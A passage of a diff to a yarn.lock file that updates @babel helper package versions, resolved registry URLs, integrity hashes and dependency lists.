-  integrity sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==
-  dependencies:
-    "@babel/template" "^7.22.15"
-    "@babel/types" "^7.23.0"
-
-"@babel/helper-function-name@^7.18.9", "@babel/helper-function-name@^7.21.0":
-  version "7.21.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.21.0.tgz#d552829b10ea9f120969304023cd0645fa00b1b4"
-  integrity sha512-HfK1aMRanKHpxemaY2gqBmL04iAPOPRj7DxtNbiDOrJK+gdwkiNRVpCpUJYbUT+aZyemKN8brqTOxzCaG6ExRg==
-  dependencies:
-    "@babel/template" "^7.20.7"
-    "@babel/types" "^7.21.0"
-
-"@babel/helper-function-name@^7.19.0":
-  version "7.19.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.19.0.tgz#941574ed5390682e872e52d3f38ce9d1bef4648c"
-  integrity sha512-WAwHBINyrpqywkUH0nTnNgI5ina5TFn85HKS0pbPDfxFfhyR/aNQEn4hGi1P1JyT//I0t4OgXUlofzWILRvS5w==
-  dependencies:
-    "@babel/template" "^7.18.10"
-    "@babel/types" "^7.19.0"
-
-"@babel/helper-function-name@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz#ede300828905bb15e582c037162f99d5183af1be"
-  integrity sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==
-  dependencies:
-    "@babel/template" "^7.22.5"
-    "@babel/types" "^7.22.5"
-
-"@babel/helper-hoist-variables@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz#d4d2c8fb4baeaa5c68b99cc8245c56554f926678"
-  integrity sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==
-  dependencies:
-    "@babel/types" "^7.18.6"
-
-"@babel/helper-hoist-variables@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz#c01a007dac05c085914e8fb652b339db50d823bb"
-  integrity sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==
-  dependencies:
-    "@babel/types" "^7.22.5"
-
-"@babel/helper-member-expression-to-functions@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.18.9.tgz#1531661e8375af843ad37ac692c132841e2fd815"
-  integrity sha512-RxifAh2ZoVU67PyKIO4AMi1wTenGfMR/O/ae0CCRqwgBAt5v7xjdtRw7UoSbsreKrQn5t7r89eruK/9JjYHuDg==
-  dependencies:
-    "@babel/types" "^7.18.9"
-
-"@babel/helper-member-expression-to-functions@^7.22.0":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.3.tgz#4b77a12c1b4b8e9e28736ed47d8b91f00976911f"
-  integrity sha512-Gl7sK04b/2WOb6OPVeNy9eFKeD3L6++CzL3ykPOWqTn08xgYYK0wz4TUh2feIImDXxcVW3/9WQ1NMKY66/jfZA==
-  dependencies:
-    "@babel/types" "^7.22.3"
-
-"@babel/helper-member-expression-to-functions@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz#0a7c56117cad3372fbf8d2fb4bf8f8d64a1e76b2"
-  integrity sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.24.7.tgz#4b31ba9551d1f90781ba83491dd59cf9b269f7d9"
+  integrity sha512-DoiN84+4Gnd0ncbBOM9AZENV4a5ZiL39HYMyZJGZ/AZEykHYdJw0wW3kdcsh9/Kn+BRXHLkkklZ51ecPKmI1CQ==
   dependencies:
-    "@babel/types" "^7.22.5"
+    "@babel/types" "^7.24.7"
 
-"@babel/helper-module-imports@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz#1e3ebdbbd08aad1437b428c50204db13c5a3ca6e"
-  integrity sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==
+"@babel/helper-function-name@^7.7.4":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.24.7.tgz#75f1e1725742f39ac6584ee0b16d94513da38dd2"
+  integrity sha512-FyoJTsj/PEUWu1/TYRiXTIHc8lbw+TDYkZuoE43opPS5TrI7MyONBE1oNvfguEXAD9yhQRrVBnXdXzSLQl9XnA==
   dependencies:
-    "@babel/types" "^7.18.6"
+    "@babel/template" "^7.24.7"
+    "@babel/types" "^7.24.7"
 
-"@babel/helper-module-imports@^7.21.4":
-  version "7.21.4"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.21.4.tgz#ac88b2f76093637489e718a90cec6cf8a9b029af"
-  integrity sha512-orajc5T2PsRYUN3ZryCEFeMDYwyw09c/pZeaQEZPH0MpKzSvn3e0uXsDBu3k03VI+9DBiRo+l22BfKTpKwa/Wg==
+"@babel/helper-member-expression-to-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz"
+  integrity sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==
   dependencies:
-    "@babel/types" "^7.21.4"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
 
-"@babel/helper-module-imports@^7.24.3":
-  version "7.24.3"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.24.3.tgz#6ac476e6d168c7c23ff3ba3cf4f7841d46ac8128"
-  integrity sha512-viKb0F9f2s0BCS22QSF308z/+1YWKV/76mwt61NBzS5izMzDPwdq1pTrzf+Li3npBWX9KdQbkeCt1jSAM7lZqg==
+"@babel/helper-member-expression-to-functions@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.27.1.tgz#ea1211276be93e798ce19037da6f06fbb994fa44"
+  integrity sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==
   dependencies:
-    "@babel/types" "^7.24.0"
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
 
-"@babel/helper-module-transforms@^7.18.6":
-  version "7.19.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz#309b230f04e22c58c6a2c0c0c7e50b216d350c30"
-  integrity sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==
+"@babel/helper-module-imports@^7.18.6", "@babel/helper-module-imports@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz"
+  integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
   dependencies:
-    "@babel/helper-environment-visitor" "^7.18.9"
-    "@babel/helper-module-imports" "^7.18.6"
-    "@babel/helper-simple-access" "^7.18.6"
-    "@babel/helper-split-export-declaration" "^7.18.6"
-    "@babel/helper-validator-identifier" "^7.18.6"
-    "@babel/template" "^7.18.10"
-    "@babel/traverse" "^7.19.0"
-    "@babel/types" "^7.19.0"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
 
-"@babel/helper-module-transforms@^7.20.11", "@babel/helper-module-transforms@^7.21.5", "@babel/helper-module-transforms@^7.22.1":
-  version "7.22.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.22.1.tgz#e0cad47fedcf3cae83c11021696376e2d5a50c63"
-  integrity sha512-dxAe9E7ySDGbQdCVOY/4+UcD8M9ZFqZcZhSPsPacvCG4M+9lwtDDQfI2EoaSvmf7W/8yCBkGU0m7Pvt1ru3UZw==
+"@babel/helper-module-imports@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz#7ef769a323e2655e126673bb6d2d6913bbead204"
+  integrity sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==
   dependencies:
-    "@babel/helper-environment-visitor" "^7.22.1"
-    "@babel/helper-module-imports" "^7.21.4"
-    "@babel/helper-simple-access" "^7.21.5"
-    "@babel/helper-split-export-declaration" "^7.18.6"
-    "@babel/helper-validator-identifier" "^7.19.1"
-    "@babel/template" "^7.21.9"
-    "@babel/traverse" "^7.22.1"
-    "@babel/types" "^7.22.0"
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
 
 "@babel/helper-module-transforms@^7.21.2":
   version "7.21.2"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.21.2.tgz#160caafa4978ac8c00ac66636cb0fa37b024e2d2"
+  resolved "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.21.2.tgz"
   integrity sha512-79yj2AR4U/Oqq/WOV7Lx6hUjau1Zfo4cI+JLAVYeMV5XIlbOhmjEk5ulbTc9fMpmlojzZHkUUxAiK+UKn+hNQQ==
   dependencies:
     "@babel/helper-environment-visitor" "^7.18.9"
@@ -378,669 +444,582 @@
     "@babel/traverse" "^7.21.2"
     "@babel/types" "^7.21.2"
 
-"@babel/helper-module-transforms@^7.24.5":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.24.5.tgz#ea6c5e33f7b262a0ae762fd5986355c45f54a545"
-  integrity sha512-9GxeY8c2d2mdQUP1Dye0ks3VDyIMS98kt/llQ2nUId8IsWqTF0l1LkSX0/uP7l7MCDrzXS009Hyhe2gzTiGW8A==
+"@babel/helper-module-transforms@^7.25.9", "@babel/helper-module-transforms@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz"
+  integrity sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==
   dependencies:
-    "@babel/helper-environment-visitor" "^7.22.20"
-    "@babel/helper-module-imports" "^7.24.3"
-    "@babel/helper-simple-access" "^7.24.5"
-    "@babel/helper-split-export-declaration" "^7.24.5"
-    "@babel/helper-validator-identifier" "^7.24.5"
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
 
-"@babel/helper-optimise-call-expression@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz#9369aa943ee7da47edab2cb4e838acf09d290ffe"
-  integrity sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==
+"@babel/helper-module-transforms@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.27.1.tgz#e1663b8b71d2de948da5c4fb2a20ca4f3ec27a6f"
+  integrity sha512-9yHn519/8KvTU5BjTVEEeIM3w9/2yXNKoD82JifINImhpKkARMJKPP59kLo+BafpdN5zgNeIcS4jsGDmd3l58g==
   dependencies:
-    "@babel/types" "^7.18.6"
+    "@babel/helper-module-imports" "^7.27.1"
+    "@babel/helper-validator-identifier" "^7.27.1"
+    "@babel/traverse" "^7.27.1"
 
-"@babel/helper-optimise-call-expression@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz#f21531a9ccbff644fdd156b4077c16ff0c3f609e"
-  integrity sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==
+"@babel/helper-optimise-call-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz"
+  integrity sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==
   dependencies:
-    "@babel/types" "^7.22.5"
+    "@babel/types" "^7.25.9"
 
-"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.18.6", "@babel/helper-plugin-utils@^7.18.9", "@babel/helper-plugin-utils@^7.19.0", "@babel/helper-plugin-utils@^7.8.0":
-  version "7.19.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz#4796bb14961521f0f8715990bee2fb6e51ce21bf"
-  integrity sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw==
+"@babel/helper-optimise-call-expression@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz#c65221b61a643f3e62705e5dd2b5f115e35f9200"
+  integrity sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==
+  dependencies:
+    "@babel/types" "^7.27.1"
 
-"@babel/helper-plugin-utils@^7.16.7", "@babel/helper-plugin-utils@^7.21.5", "@babel/helper-plugin-utils@^7.8.3":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.21.5.tgz#345f2377d05a720a4e5ecfa39cbf4474a4daed56"
-  integrity sha512-0WDaIlXKOX/3KfBK/dwP1oQGiPh6rjMkT7HIRv7i5RR2VUMwrx5ZL0dwBkKx7+SW1zwNdgjHd34IMk5ZjTeHVg==
+"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.18.6", "@babel/helper-plugin-utils@^7.18.9", "@babel/helper-plugin-utils@^7.22.5", "@babel/helper-plugin-utils@^7.25.9", "@babel/helper-plugin-utils@^7.26.5", "@babel/helper-plugin-utils@^7.8.0":
+  version "7.26.5"
+  resolved "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz"
+  integrity sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==
 
 "@babel/helper-plugin-utils@^7.20.2":
   version "7.20.2"
-  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.20.2.tgz#d1b9000752b18d0877cff85a5c376ce5c3121629"
+  resolved "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.20.2.tgz"
   integrity sha512-8RvlJG2mj4huQ4pZ+rU9lqKi9ZKiRmuvGuM2HlWmkmgOhbs6zEAw6IEiJ5cQqGbDzGZOhwuOQNtZMi/ENLjZoQ==
 
-"@babel/helper-plugin-utils@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz#dd7ee3735e8a313b9f7b05a773d892e88e6d7295"
-  integrity sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==
+"@babel/helper-plugin-utils@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz#ddb2f876534ff8013e6c2b299bf4d39b3c51d44c"
+  integrity sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==
 
-"@babel/helper-remap-async-to-generator@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz#997458a0e3357080e54e1d79ec347f8a8cd28519"
-  integrity sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-environment-visitor" "^7.18.9"
-    "@babel/helper-wrap-function" "^7.18.9"
-    "@babel/types" "^7.18.9"
-
-"@babel/helper-replace-supers@^7.18.6", "@babel/helper-replace-supers@^7.20.7", "@babel/helper-replace-supers@^7.22.1":
-  version "7.22.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.22.1.tgz#38cf6e56f7dc614af63a21b45565dd623f0fdc95"
-  integrity sha512-ut4qrkE4AuSfrwHSps51ekR1ZY/ygrP1tp0WFm8oVq6nzc/hvfV/22JylndIbsf2U2M9LOMwiSddr6y+78j+OQ==
-  dependencies:
-    "@babel/helper-environment-visitor" "^7.22.1"
-    "@babel/helper-member-expression-to-functions" "^7.22.0"
-    "@babel/helper-optimise-call-expression" "^7.18.6"
-    "@babel/template" "^7.21.9"
-    "@babel/traverse" "^7.22.1"
-    "@babel/types" "^7.22.0"
-
-"@babel/helper-replace-supers@^7.18.9":
-  version "7.19.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.19.1.tgz#e1592a9b4b368aa6bdb8784a711e0bcbf0612b78"
-  integrity sha512-T7ahH7wV0Hfs46SFh5Jz3s0B6+o8g3c+7TMxu7xKfmHikg7EAZ3I2Qk9LFhjxXq8sL7UkP5JflezNwoZa8WvWw==
+"@babel/helper-remap-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.25.9.tgz"
+  integrity sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw==
   dependencies:
-    "@babel/helper-environment-visitor" "^7.18.9"
-    "@babel/helper-member-expression-to-functions" "^7.18.9"
-    "@babel/helper-optimise-call-expression" "^7.18.6"
-    "@babel/traverse" "^7.19.1"
-    "@babel/types" "^7.19.0"
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-wrap-function" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
 
-"@babel/helper-replace-supers@^7.22.9":
-  version "7.22.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz#cbdc27d6d8d18cd22c81ae4293765a5d9afd0779"
-  integrity sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==
+"@babel/helper-replace-supers@^7.25.9", "@babel/helper-replace-supers@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.26.5.tgz"
+  integrity sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg==
   dependencies:
-    "@babel/helper-environment-visitor" "^7.22.5"
-    "@babel/helper-member-expression-to-functions" "^7.22.5"
-    "@babel/helper-optimise-call-expression" "^7.22.5"
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/traverse" "^7.26.5"
 
-"@babel/helper-simple-access@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz#d6d8f51f4ac2978068df934b569f08f29788c7ea"
-  integrity sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==
+"@babel/helper-replace-supers@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz#b1ed2d634ce3bdb730e4b52de30f8cccfd692bc0"
+  integrity sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==
   dependencies:
-    "@babel/types" "^7.18.6"
+    "@babel/helper-member-expression-to-functions" "^7.27.1"
+    "@babel/helper-optimise-call-expression" "^7.27.1"
+    "@babel/traverse" "^7.27.1"
 
 "@babel/helper-simple-access@^7.20.2":
   version "7.20.2"
-  resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.20.2.tgz#0ab452687fe0c2cfb1e2b9e0015de07fc2d62dd9"
+  resolved "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.20.2.tgz"
   integrity sha512-+0woI/WPq59IrqDYbVGfshjT5Dmk/nnbdpcF8SnMhhXObpTq2KNBdLFRFrkVdbDOyUmHBCxzm5FHV1rACIkIbA==
   dependencies:
     "@babel/types" "^7.20.2"
 
-"@babel/helper-simple-access@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.21.5.tgz#d697a7971a5c39eac32c7e63c0921c06c8a249ee"
-  integrity sha512-ENPDAMC1wAjR0uaCUwliBdiSl1KBJAVnMTzXqi64c2MG8MPR6ii4qf7bSXDqSFbr4W6W028/rf5ivoHop5/mkg==
-  dependencies:
-    "@babel/types" "^7.21.5"
-
-"@babel/helper-simple-access@^7.24.5":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.24.5.tgz#50da5b72f58c16b07fbd992810be6049478e85ba"
-  integrity sha512-uH3Hmf5q5n7n8mz7arjUlDOCbttY/DW4DYhE6FUsjKJ/oYC1kQQUvwEQWxRwUpX9qQKRXeqLwWxrqilMrf32sQ==
+"@babel/helper-skip-transparent-expression-wrappers@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz"
+  integrity sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==
   dependencies:
-    "@babel/types" "^7.24.5"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
 
-"@babel/helper-skip-transparent-expression-wrappers@^7.20.0":
-  version "7.20.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.20.0.tgz#fbe4c52f60518cab8140d77101f0e63a8a230684"
-  integrity sha512-5y1JYeNKfvnT8sZcK9DVRtpTbGiomYIHviSP3OQWmDPU3DeH4a1ZlT/N2lyQ5P8egjcRaT/Y9aNqUxK0WsnIIg==
-  dependencies:
-    "@babel/types" "^7.20.0"
-
-"@babel/helper-skip-transparent-expression-wrappers@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz#007f15240b5751c537c40e77abb4e89eeaaa8847"
-  integrity sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==
-  dependencies:
-    "@babel/types" "^7.22.5"
-
-"@babel/helper-split-export-declaration@^7.0.0", "@babel/helper-split-export-declaration@^7.22.6":
-  version "7.22.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz#322c61b7310c0997fe4c323955667f18fcefb91c"
-  integrity sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==
-  dependencies:
-    "@babel/types" "^7.22.5"
-
-"@babel/helper-split-export-declaration@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz#7367949bc75b20c6d5a5d4a97bba2824ae8ef075"
-  integrity sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==
+"@babel/helper-skip-transparent-expression-wrappers@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz#62bb91b3abba8c7f1fec0252d9dbea11b3ee7a56"
+  integrity sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==
   dependencies:
-    "@babel/types" "^7.18.6"
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
 
-"@babel/helper-split-export-declaration@^7.24.5":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.24.5.tgz#b9a67f06a46b0b339323617c8c6213b9055a78b6"
-  integrity sha512-5CHncttXohrHk8GWOFCcCl4oRD9fKosWlIRgWm4ql9VYioKm52Mk2xsmoohvm7f3JoiLSM5ZgJuRaf5QZZYd3Q==
+"@babel/helper-split-export-declaration@^7.18.6", "@babel/helper-split-export-declaration@^7.7.4":
+  version "7.24.7"
+  resolved "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.24.7.tgz"
+  integrity sha512-oy5V7pD+UvfkEATUKvIjvIAH/xCzfsFVw7ygW2SI6NClZzquT+mwdTfgfdbUiceh6iQO0CHtCPsyze/MZ2YbAA==
   dependencies:
-    "@babel/types" "^7.24.5"
+    "@babel/types" "^7.24.7"
 
-"@babel/helper-string-parser@^7.18.10":
-  version "7.18.10"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz#181f22d28ebe1b3857fa575f5c290b1aaf659b56"
-  integrity sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==
+"@babel/helper-string-parser@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz"
+  integrity sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==
 
-"@babel/helper-string-parser@^7.19.4":
-  version "7.19.4"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.19.4.tgz#38d3acb654b4701a9b77fb0615a96f775c3a9e63"
-  integrity sha512-nHtDoQcuqFmwYNYPz3Rah5ph2p8PFeFCsZk9A/48dPc/rGocJ5J3hAAZ7pb76VWX3fZKu+uEr/FhH5jLx7umrw==
-
-"@babel/helper-string-parser@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.21.5.tgz#2b3eea65443c6bdc31c22d037c65f6d323b6b2bd"
